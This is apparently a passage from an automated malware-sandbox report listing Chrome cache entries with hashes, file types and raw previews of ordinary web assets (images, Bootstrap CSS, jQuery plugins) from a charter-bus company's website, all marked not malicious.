Preview:	/! jQuery & Zepto Lazy v1.7.7 - http://jquery.eisbehr.de/lazy - MIT&GPL-2.0 license - Copyright 2012-2017 Daniel 'Eisbehr' Kern /.!function(t,e){"use strict";function r(r,a,i,u,l){function f(){L=t.devicePixelRatio>1,i=c(i),a.delay>=0&&setTimeout(function(){s(!0)},a.delay),(a.delay<0\|\|a.combined)&&(u.e=v(a.throttle,function(t){"resize"===t.type&&(w=B=-1),s(t.all)}),u.a=function(t){t=c(t),i.push.apply(i,t)},u.g=function(){return i=n(i).filter(function(){return!n(this).data(a.loadedName)})},u.f=function(t){for(var e=0;e<t.length;e++){var r=i.filter(function(){return this===t[e]});r.length&&s(!1,r)}},s(),n(a.appendScroll).on("scroll."+l+" resize."+l,u.e))}function c(t){var i=a.defaultImage,o=a.placeholder,u=a.imageBase,l=a.srcsetAttribute,f=a.loaderAttribute,c=a._f\|\|{};t=n(t).filter(function(){var t=n(this),r=m(this);return!t.data(a.handledName)&&(t.attr(a.attribute)\|\|t.attr(l)\|\|t.attr(f)\|\|c[r]!==e)}).data("plugin_"+a.name,r);for(var s=0,d=t.length;s<d;s++){var A=n(t[s]),g=m(t[s]),h=A.at

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 105 x 63, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	2300
Entropy (8bit):	6.841555841074514
Encrypted:	false
SSDEEP:	48:g/6oJwNnwknA9WpizkJ3//cHJ3o1I3t5H6JjjXyfyNpNIJgJ7A7gCG4:gSu4wknmWpiY5//t145H6JPyfyf3d4
MD5:	A95CB16D6E582CDA892A81CBD4083E22
SHA1:	214096345A0D1A7685295C2206B44F5E9994916C
SHA-256:	4C65E9F26B79F9B89DCBDD06879F34ED6F2CAF4B6778B5DFCEC10DD856ADF50D
SHA-512:	A4EFB5CF72A8EA52295F146B88C3C0A52E41C981E16A1106CBF099AD7D881BBE713E5CE94DCBFF597516EF9533B23204F38FBC7D6791DDD0113A1423F325F555
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...i...?.....l7q.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-12-28T13:14:28+05:30" xmp:ModifyDate="2021-12-28T13:30:16+05:30" xmp:MetadataDate="2021-12-28T13:30:16+05:30" xmpMM:InstanceID="xmp.iid:073f412c-4567-1748-b0dd-eb7601269d01" xmpMM:DocumentID="xmp.did:B2E6F0D1415A11ECB69CFE800869AE71" xmpMM:OriginalDocumentID="xmp.did:B2E6F0D141

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	909
Entropy (8bit):	4.889808862663873
Encrypted:	false
SSDEEP:	24:tTv4+tuU0Mni/IR32HgbH4oJDP9baOcQTGmCcb2oUzZ:F4EjFF5F9wAwZ
MD5:	AA42184D329D5EA02F1D26CCB984C140
SHA1:	7151DB8048C433480238DA71D7AD73497A5BD1B6
SHA-256:	F4023891B180EE491C3E90E320F07F9EC40304F3EE3B8FFAA029A3826EDC74CE
SHA-512:	03450E852B34197D24A16D83FD3FDA3B1BDF2827AE1634CD497FE398715324972D0133D591EEEACF28F0442493E5B88C429A1B9965A09C164D871EF98010244D
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/time.svg
Preview:	<svg width="18" height="17" viewBox="0 0 18 17" fill="none" xmlns="http://www.w3.org/2000/svg"> <g clip-path="url(#clip0_866_1644)"> <path d="M8.83537 1.74036C5.07789 1.74036 2.03516 4.7899 2.03516 8.54737C2.03516 12.3048 5.07789 15.3544 8.83537 15.3544C12.5996 15.3544 15.6492 12.3048 15.6492 8.54737C15.6492 4.7899 12.5996 1.74036 8.83537 1.74036ZM8.84217 13.993C5.83347 13.993 3.39656 11.5561 3.39656 8.54737C3.39656 5.53867 5.83347 3.10176 8.84217 3.10176C11.8509 3.10176 14.2878 5.53867 14.2878 8.54737C14.2878 11.5561 11.8509 13.993 8.84217 13.993Z" fill="#333333" fill-opacity="0.6"></path> <path d="M9.18267 5.14386H8.16162V9.22807L11.7353 11.3723L12.2458 10.535L9.18267 8.71754V5.14386Z" fill="#333333" fill-opacity="0.6"></path> </g> <defs> <clipPath id="clip0_866_1644"> <rect width="16.3368" height="16.3368" fill="white" transform="translate(0.673828 0.378967)"></rect> </clipPath> </defs> </svg>

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 503x507, components 3
Category:	dropped
Size (bytes):	54654
Entropy (8bit):	7.97942527712513
Encrypted:	false
SSDEEP:	1536:xFXcVtM7k8DGzhUmBODCD6nYbMovK982zqH/pDDS3C67m9:xFX6tMo8DGzhUnCD6x4K9pqfpDS3C67i
MD5:	A1EFE78DAC8FE2E226D681016FB08561
SHA1:	D5A7DFBBB275A563E5F9E7AB74DEEC4C52B3E346
SHA-256:	6CA39DDB8B053ACC84275DAECDC25EC1B3CA2471B4627E22E130CC1B5255EDD2
SHA-512:	4EE1CA7A01B801F2562711895447B85995DC6139340948FFA75483B7F22E9D00D00B8346AA3EB52D503C5012AB9009B8C6A45DEDA74CE0A01687B9965FB5D33F
Malicious:	false
Reputation:	low
Preview:	......JFIF................................................................"..."%%424DD\.................................................."..."%%424DD\...........!..........6...................................................................i.`. .. ...D....!..... H. ...."........."@.P .H.".@..@...$@$@.....Q ..H.. $..A.t9. ..........$..@."BD...&...%....!P I0.I....".... ..I.&.....H$..A..R L........&...$.. L...............L$.......`..@..$.........EH.$BR.H"@..... ..D. ....+GR...D. H...H ....D..@.A5... .$.$.....@.$@.......=...@BS.$H."@@.&a."....#.!Z$..$..I. .@.... ..... I.\D.$.......@!".@. ......h.$H@.....H. @....$...A2D..U...$.... J...H...H...H. .......$...D....JH.A"....&.. ....Bd.....D.ID......L....#...L..J.H....$.U]....+...U.Wro....&_B ...9.....@.&.."@....}k.~g.G.7o.:...h...d.H......@....D.....=]U.....;.>.]].qn?g.x1..y.{^,.. ...R......@....0.._..y^...ve..Y...7.=O.j.<.`...U<..R........DIT#..=.....{..6....7.......o....S..D...........eHTF.....C...._y......'m....o.....

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (815)
Category:	downloaded
Size (bytes):	3545
Entropy (8bit):	5.3726550921450595
Encrypted:	false
SSDEEP:	96:EIKXr+Q4aCBXgMU+Q8ERWUxeoauSEodkzSEIedPprI7:EI2rL4FBXg6Q8ERWUxeoauRodkzSdedA
MD5:	0B3CE8A9F9E01444CEF3A0AE2629109B
SHA1:	C01C78F2FF534353F39F2F50F067133317F543F1
SHA-256:	D36B373B44B77F016E4B7DF913BA2DA2A8025456F016BC794861F210C0E3ADA3
SHA-512:	5D7088A09F43730E0FA87B0449316ADC58E560C50F39284E1D4422DCFCDD36678EBCAC99AE4F354244BE2A0CC72D327959B96C69EB9A1D4163F99D9815861100
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/static/service_worker/55j0/sw_iframe.html?origin=https%3A%2F%2Fgogocharters.com
Preview:	<!DOCTYPE html>.<html>.<head>. <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">.</head>.<body>. <script>.'use strict';class m{constructor(a){this.j=a;this.g={};this.h={};this.i=0;this.id=String(Math.floor(Number.MAX_SAFE_INTEGERMath.random()))}}function n(a){return a.performance&&a.performance.now()\|\|Date.now()}.var p=function(a,c){class d{constructor(b,f,g){this.failureType=b;this.data=f;this.g=g;this.h=new m(n(g))}s(b,f){const g=b.clientId;if(b.type===0){b.isDead=!0;var e=this.h,h=n(this.g);e.g[g]==null&&(e.g[g]=0,e.h[g]=h,e.i++);e.g[g]++;b.stats={targetId:e.id,clientCount:e.i,totalLifeMs:Math.round(h-e.j),heartbeatCount:e.g[g],clientLifeMs:Math.round(h-e.h[g])}}b.failure={failureType:this.failureType,data:this.data};f(b)}}return new d(5,a,c)};/.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0.*/.let q=globalThis.trustedTypes,r;function t(){let a=null;if(!q)return a;try{const c=d=>d;a=q.createPolicy("goog#html",{createHTML:c,createScript:c,crea

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65371)
Category:	downloaded
Size (bytes):	121200
Entropy (8bit):	5.0982146191887106
Encrypted:	false
SSDEEP:	768:Vy3Gxw/Vc/QWlJxtQOIuiHlq5mzI4X8OAduFKbv2ctg2Bd8JP7ecQVvH1FS:nw/a1fIuiHlq5mN8lDbNmPbh
MD5:	EC3BB52A00E176A7181D454DFFAEA219
SHA1:	6527D8BF3E1E9368BAB8C7B60F56BC01FA3AFD68
SHA-256:	F75E846CC83BD11432F4B1E21A45F31BC85283D11D372F7B19ACCD1BF6A2635C
SHA-512:	E8C5DAF01EAE68ED7C1E277A6E544C7AD108A0FA877FB531D6D9F2210769B7DA88E4E002C7B0BE3B72154EBF7CBF01A795C8342CE2DAD368BD6351E956195F8B
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/css_new_design/bootstrap.min.css
Preview:	/!. Bootstrap v3.3.7 (http://getbootstrap.com). * Copyright 2011-2016 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). //! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css */html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{margin:.67em 0;font-size:2em}mark{color:#000;background:#ff0}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5992
Entropy (8bit):	5.101120263424986
Encrypted:	false
SSDEEP:	96:3T2gKG1l5QugD1htQYKWhT0VTSkBZsmec6oVkV64ycGvk8DIfIIzpdggKYw9CWlM:azeQuEhOVTZBefj+caYWA84
MD5:	77090337A49AF2F665CA0E8990480096
SHA1:	2F91C126AD8B5E896FEAC7AB2D1B0F9AB9B486D6
SHA-256:	BFE4C04F92A815F36BFDC40E6FABE54D11A0747DFF8E0FCC601CFB04BD3E75A3
SHA-512:	59AD84BE6362A942F2730D1B7B0A53EA2F61EC89694C7912E57CB4D76B226C9DEE952E6F3F92289ACF4C4D1E7115CF9899F4C996D5C4B32EB1A5272D101E574F
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/js_new_design/qcslider.jquery.js
Preview:	/.@Author: Edinson Tique.@Name: QCSlider Pluggin.@Version: 1.4.3.@Year: 2018.@Contact: www.fb.com/QueCodigoPG.@Libraries: jQuery./.(function ($){..jQuery.fn.QCslider = function(options_user) {...// Variables Necesarias...var $this = jQuery(this),...setC,...player,...pb = {},...SliderInterval,...nextSlider = 1,...options_default,...currentSlider = 0;....pb.el = $this;...pb.items = {....panel: pb.el.find('li')...}......lengthSlider = pb.items.panel.length;....options_default = {....start: 0,....duration: 8000...}....console.log("QCSlider V1.4.3");...settings = jQuery.extend(options_default, options_user);....init();....// Initialize...function init() {....console.log("QCSlider Load");....var output = '',....tag = document.createElement('script');.....tag.src = "https://www.youtube.com/iframe_api";....var firstScriptTag = document.getElementsByTagName('script')[0];....firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);.....// Activamos nuestro slider....SliderInit();.....for(

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 269x179, components 3
Category:	dropped
Size (bytes):	23062
Entropy (8bit):	7.972586125189637
Encrypted:	false
SSDEEP:	384:BNcrpqJwSK/2yKkoetJTfjWkUsX+7Db45ijATqNWLa2iDDY6t2u4/49vYj6:ghR/2RAbovboUqLahcs4/6Yj6
MD5:	843064DA951783851157F06B81FCF5FE
SHA1:	E838C6052AD6960B482EE0F4ADC9EC2EDA7ED5BF
SHA-256:	F7F13DA027BF7A6EE711FBB451945FB710409BBFABE4665357E26C0498AE8BA1
SHA-512:	E95DA0CD439F47C73AB94C786D69D5ACBBE6B049653D141AAFE7360B833D399B5048CB3F2DD2F3300FDE96855DF44199CB7894CD8065CCF440AC7FB98D972BC3
Malicious:	false
Reputation:	low
Preview:	......JFIF.........................................................................&$&22C...........................................................&$&22C......................7....................................................................~...h5..R...45.9....n.\qg.^....N.eMF..Q...o\|..!.D+.r..yf'.G.$.I$.Ir..Q.v ....0t..M..R.6......W\..(....c....c.TX..f:w_.:N..E.<.b...\I$.I$.IF....[.$q..vs..\|..j.&...6...co..c...9..%.<..e.M.:..p\..zt.CU...w..I$.I$.I.....2.$.BD`.'u..i.o...0....>.\%......".U.$$qc.u.;.e..5..Y..I$.I$.I$.I$....gK...#..u..=..W/_.....n..x.N:..nz.......t...p.X.....5..-gg.I$.I$.I$.I$..mT@.F.n.Z..R.'.).._G\|....g.I..y.Cy...l..^BU..V.r.r#....6p...^... >.I$.I$...wX.-.J..'Azn]-...`.%.p...K.....k.....\.......jw..c.G...O.#.r.1.}.. .a./~..%.bI$.b.:k..[.T.F...&..G....E.p..NI.=.yf..s....'..=g..'c.^W....!U.p........~.7C8..an..b..G....I$.\....hh..\_;.../?.Y\9...as...C...~I...\|.K...6J....D.:O.$..7....s......f.5./..j...#/.5.?.UB.\o{y....R.%.B.-..?cp..O.hj..

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 269x179, components 3
Category:	downloaded
Size (bytes):	28025
Entropy (8bit):	7.977041750966825
Encrypted:	false
SSDEEP:	768:aZUbwk9OUuNh/giA1phflTGIBZtDP4JlGwykoEuxf6fp:/ck9OrAxTJZeJgkBuep
MD5:	B155D35E4F36222446663CFF1D88D7BC
SHA1:	A4EC66BCE85E91BAF53B3C7A78834D6612C4560C
SHA-256:	48F577B5366D093AF2A85F872EA9C10BF9D9E4E1B5638BB126BA6A3B044F6520
SHA-512:	73135C53C124B138C7AB74CFA71707EB9BCEAA67324393DF9D035B78A4D2168428D8523639B38F040C29BC7A197C5E0503EBB58E161CAF2B86A91999607C25D6
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/employee/upload/generalSliderImages/1667934928religious-hands.jpg
Preview:	......JFIF.........................................................................&$&22C...........................................................&$&22C......................6......................................................................C;.w.qg`.K5....V.2=~...u......tK_...:.XRP[.2T...m.q._...,S..%...Z2.$C...+...^..6~..#s..Z....L.<......f-E.r(.+=......7<........r.=.C..........B$..OMf.....eD..q!..m.Eq.x8.e....W....b.5.`..d.U...1.bw9E.T.J</.{.h.#.o....3_.....g.T.Y.?...q.OlDU./2R}.eZ9.....%..0...}....\...V.Q..F...xO..]..y..>k........XX..... .%..z\|......].[..;...-C)....9.<... .2G.P.b7.8..K.l...}.L.}R.\..&..zSu.Y..... U/.,.f..g..Z.Z.6e..7........?{..;.I6.....1.sB.(....G..ZO<..xJZ.e..lU..g..............4..M?I.u.Ug.i.D..1.....z..aC.~q...m..P.E.{..,......y...%...E.Z[KKF.q.t....#.,...]..}).4.4...a_..j...X\|.......>.-V.< K.v,...\.n....6.............=.YB....}~.Q8.9..T.!z..m....L.wT..P=c&l...(....I.B5..W..9.<J..."./s....]s.(7...Pp[1.......}....D.

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 498x280, components 3
Category:	downloaded
Size (bytes):	27434
Entropy (8bit):	7.959736324626507
Encrypted:	false
SSDEEP:	768:+dS1F2nAjZt38X1PpHIR1CGxhF1gesnPdj:+dSU1xHAC+O7nPdj
MD5:	72101A88EAD6B575FE3D1B5BE50FF99A
SHA1:	16EC5FCFFE1759D1A9F4A1978C7B6E75718D3B3B
SHA-256:	B00BBC512E09013D4F8C7977EBA40C389A99262997E2DCC6E4906344AAF56F85
SHA-512:	22B41F1C22BB0B2B4E4BAF653AB013E7F8FABFE921E9A0E5325D69F88FAED6D6A2CCAA756F40040530B7FD28CF5AD7E4100CB01C97B06CF344578CEF19EE49E8
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design//amenties/media-connections-in-charter-bus.jpg
Preview:	......Exif..II*.................Ducky.......>......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="C0B5A40C1BB6FB01F4E560C2863A1E4F" xmpMM:DocumentID="xmp.did:F7CB9F684DC011EF962FFFD3A1D94748" xmpMM:InstanceID="xmp.iid:F7CB9F674DC011EF962FFFD3A1D94748" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 13.3.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ad29144f-4db4-4621-877c-1d5868fe48f6" stRef:documentID="xmp.did:ad29144f-4db4-4621-877c-1d5868fe48f6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...HPhotoshop 3.0.8BIM..........Z...%G........

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 503x507, components 3
Category:	dropped
Size (bytes):	70618
Entropy (8bit):	7.986946439499858
Encrypted:	false
SSDEEP:	1536:WY3mFW0COMXKjYI6Pf0Rxqxh3AXvomqe6foleUnSIV27LWHkJ:WmmFW0HhIP8GwXjqzwl927LWg
MD5:	7E08AC606DA0AF44954A427A66BCC482
SHA1:	B95FC99211439D03B1460184607F73771D8F0A76
SHA-256:	7743460449B6B10DF82ADE9DFF1120C7DD0C09AD39AAFB71C1589BE66FE4D7F2
SHA-512:	35B6E104E93A320B6B1605F67EF72D17324C142D261EAF02687E7C3159CAB1D684A961E39B0E49ABB53B75E4AEB0D451A1B06F890C35428EC81C74E46C6C83AC
Malicious:	false
Reputation:	low
Preview:	......JFIF................................................................"..."%%424DD\.................................................."..."%%424DD\...........!..........6.......................................................................&.\|^.....h7.)RZ.V.(m..T\|x...A...]UsH...y@..)...n.vy/.Z.k0=a.O..rK<...+..Z.P.B..u..s.....5`..U..(.....]y.E&...3J.Y..;<2kY.K.8.S(piwZ.C}...wP.uH}.GR=....CEb.....YZ.s...5......J?.....9..ty.T.k...gY..>.......Q...X..D.7.C..ddJ.(].R..n..0.c.....w~...(..M.."Gr.. .idaLt.{......&..\|.b.>D.k..........Y9d./-[.mcc..#.GEb.&..%#..{.pv.>..Hn. ......wL.p ......,..}............._z<...=.]..5M..Ij.!......od.&....7...l< ...x.9r:.'\.f.......YAs..Wt..jKQ.%=... .......M.B..y......h.'"..$-......>...\hh2{.\|..A.].x.t....Uu...- ....9.g..c.KE.nN...=Ej..R.kJo..y...z[r..t.Y.......E7^.-........UZ....m*q....m..J.;.K.}.%.+.......>.\|..Gw(.I...zd).2.Y.T.]..>.DXH.R ..3...X..g.....y..q....?}"c.2..).U..Nt.Y.j.[.....@r..Z.<f......\|....@...

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 292x195, components 3
Category:	downloaded
Size (bytes):	19186
Entropy (8bit):	7.968131926079933
Encrypted:	false
SSDEEP:	384:cn1xWLJlFSrall3BLwtt7fwPmHIypTQ/oWJq471Nz4GfEDhBp0A/8k:cyLLKKlWtauHtpTgJvwGfEDqk
MD5:	386D04654F9E6A2426D09B6690F4A055
SHA1:	EEDD5539FF970A34FE14CF23CD104ADC4E5ED185
SHA-256:	9F38AE55C8B3A635AAA397E8B15B31A1BB4449687D85914E9DABC4C426EDD3D8
SHA-512:	DBF8063A1BA6EAB370EC36EA07D9EFC18BAD34E3FBEEFDDA7CDADCB00410ECFDCBA7E25291510BCFC8B72AD577CFAE19FAC74A00731EB7E80936835E4564E762
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/employee/upload_editor_files/files/construction-site-hub.jpg
Preview:	......JFIF.....................................................................&""&0-0>>T.......................................................&""&0-0>>T........$.............7.....................................................................G......../...4..BB...hD.../_....9.o....3." .....W.RV..v].`.Jb....c..%p..q.......#)..A..A_..6..V..WA-^.8.....y.T.oz\|R..M.5k.d.:.c..$&;.%K..k.8x.......;m.l.YHt...a`.89....f.b.S.....&../..d.+...(..M.U....y.l..eV..YM...V_C[.O(.A....2......v!(.BO .J.aJ...4X.9...\|.V.....'..B..r.....u...H+?......i`s6....E.P..`.c.#.<..v.D..N.s.J.G.....VQ..Bl...mV../.......%#(...kfx.z).......Bf.\........:.?.$..y............#6.C<.....C.".......`F.Y...c.z.k.-.....<.B.%..Y....J...!.Dq.P....BO....E2).xp...;.#m..\....X.5..I....%..M..f...=N..T.m...~R..$`...p..i.q.g6... K\.ng..=@..r.N.J...e..6...{xZEf...p..ZL.y.W..g.<.......f...@..3tm.g...v8&...N..G.....W...Kl...x.f6.......Z.d..A........ZH4.&..z~..k....Fq..U..F...2.\6.g].,.5....y..r.\|

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 277 x 153, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5748
Entropy (8bit):	7.938025690358444
Encrypted:	false
SSDEEP:	96:46ncszDFVjeQa53NfUyo+WfX2h/MFnEiWBE79Iqch9SKcBTIGZY0kF35hxl9Fi/F:4Czp5eztt1ojKfirODhLf0kFbx69yYiG
MD5:	8D173F4833D60E3E85E02673C691F723
SHA1:	06D2EF3F5A8A23920967CAF91D8C607D23929B47
SHA-256:	BF058CB945F4790017635C2BA4A4FB47CED9FB6CF9B3318637EDAC9461DCAF9E
SHA-512:	9C2281ADC83C67A026E44BE568427E945ADDAD6343BFB3B70975077FF99C8B98572FB313CF49361B34929DC50950E5D464DC556C4DBF06555A0BED4F064D39BF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................pHYs...%...%.IR$....&IDATx..y..U....... ;.....(..:...A..A.$....(. ..23...2....$A@...n..H! (R........L..q^..S.].....;....]....{..{.Y.DiFK..x..e`.g[z....m.a8a.o.j.!.=...l..^.1......\|.q(...4.0...F...........L1.c,ms[...9.Vz..0....T.........1.0.2..TN.^9...C..(.-Ne.pz...iC....68.......^E;~.......<.....1.Yb....T...=.=g...7.0...Tf...C.....=.aT d.r.R.S....3...,2.cBBu..=>...U.].-2...!..n.\|n...8...x.j..Z..Ko.n..F...R...Q6.....'.o#Nj.....0.%4........~...(.0.q..l...@.&."$.n....a."$......+.FV-.+!.0...S..8..=....>..=...Bq.Q\..u...7..mH.a...8.....!G..DN...P ......'....D........+Bp/..Ja?.6.u..0....Sy.o..l.,...l....h-!8.....\|.&,.k.....l:.-..#p=p.oC..m..T.:J......\|.b.m"..........?.6.0.B.N.Q..L.td..oC.....T..m@.....m.a.....m.......aLH.N%.m@....D=...........=z.0.Q..T...m@........P....A....[c...........q.QJ(N....J.FT.E..0.P...Ho.6`..........,Bi.P.......).Gi6.8.w=...'.U.d.fx8.N.9.....u.\|.P.~+.7.>.._...6...g._#-....q......

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 503x507, components 3
Category:	downloaded
Size (bytes):	88932
Entropy (8bit):	7.976802867819158
Encrypted:	false
SSDEEP:	1536:xCL/ilSyi6Qo6qCMIcyvMU4+cSIhCjyHYUow0YP01nbsgQyCKW1EL1WjODHnzvcL:xs/ilwqTqEU4yIygBsBb5PCKIXiHzI9B
MD5:	B21D455DED70650EBEF68ECAA2DDCD68
SHA1:	8F85957933AFC3331ECF9A2B203BA8BCEA297240
SHA-256:	CF0A87EB35778B49FDEC4941CA2F2CEB1B1B611C6ECA8928FC652A4E4BB30354
SHA-512:	CCE4A443084EF070DB36E08D0C9E6C319CDAC209C8A2BC281DEFCAD8B8C762EBF355D16FED20BEA55ADFA6FCB3503BA32D3A829371C3D2087EB7BF9C1B66A1EC
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/banner_slideshow/gogo-minibus.jpg
Preview:	......JFIF.....................................................................&""&0-0>>T.......................................................&""&0-0>>T......................8........................................................................f'x..;..;D.N.;A.NI.N.9...H.'0d.r...2....F..I..L...`10..Lk&..I..Y).}....t..cI.&...Ls..j..5.j.0.7..'h...'!.Nbv.....H.@.bv$. .@...H@.....H..,M4.Y.....bc.....k1.)...z+.f9.5..c..]-..4..5.h...v..NCh...9.$....2.'0d...d..@.... .....$.)3.t.........LL`1%5.n..t..1...jWI.&4....k..9..M.A.f'0d..`.$NC!..19.' ..... ........\|.2u.Z.........&..1...^.Y.f1&.i1..R5..cKWB....3.I.d.2N@.' .@.2......2.....`...!Y.{....`.....#.Mb..uI0.#Y0F..#.k&..Mt.vF.3.A.r.... .@.2.!$.$......0.....$..k.L.@...........#2`..$&5.!.g.9.]....--..p..2.d.. ....H3 ...............D3...@...LH@L`...sg.:.`2..."~@..O...Dy....x..Z.. .@............ .............M...K........H.m..^..@..@..A..t..o.^../.,(...$..........2..................F.......0....Q'..4...b.@..<w.e...wK....j..

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 201 x 131, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50800
Entropy (8bit):	7.987261028272843
Encrypted:	false
SSDEEP:	768:4T5N29rsaC1bM/34bRQVhpenVmlFbMsSfYbz0o+cy1vacJAUtWdchV77m6nhAQxK:4TO8bB2VfeneFbIYFbybLt2cj77m6nbK
MD5:	13EB57C517B6E570BD70DFAD60D76CC7
SHA1:	980DA63483E16B9CD9D00A9B8A4B81F43C63C935
SHA-256:	C79F7BE80765A94F93AD66D78236BA07F2E1B05EE1F3F9205793582568B7F1A8
SHA-512:	D868F0EB2033F4F5EAA90A96A9D9C5EF4A8BD0CD8C7D4387E785A1B7669B9D5953513EB87762AA8DB5A436364181DE88C80D98289C8F10E5BD4452ADA55D7752
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............'.?....7IDATx..w.]Wy..]k....u.-...m...-..!..I ...I.%..n:..B...i.c...M.z....9u....=....{I....#K.sf4..z...y..W=.'[.'x.._.b..w.ss...y....rd..R....q.P..X5.K-..B26=.....I6...l...h\.Bk.5+..dn.B..S.f......s..].......S.....Moz....7....?....x.3..... .."..w\.... .....=.,.,....E.'.M.'.A@6.........e[.h.9p`/.\|.....)..h.........ttv23;...c\y.%x....?.'?.Y......s..t......J.N......r+V...)d.E...\k..D3...?..9.mm.o;\|.....^9...~.z........kVp..3~b.f....Q..............n....x.X....>..Os....Y.e..C..O....w...y...p...z..~.......o.....,.(&...Y.!-fgf..G....=..`I...tg.`....O...*^..s...{.]Dq.._.]...Cf.!.B.0Dk.ZR..`>..l.q..5........\|..='.....\ m.~..g.\|../....]a...../.> ........h..RI".0Zk.R........$..Mk...........P\....a`...W..._...d...<.!...&..=..^.s...P.7.......%....5...+W.91<2<%.8...6.y....."..0VJa.DQD.....2.~...&....j...m.q.....{.uy..m-P:.>..B ...?.I>...djl.L...(....+.l[N.o..]m...\s......p....&gwWW...t.....r....37><88.X&.....Vn..^^~.j.

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 277 x 153, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5748
Entropy (8bit):	7.938025690358444
Encrypted:	false
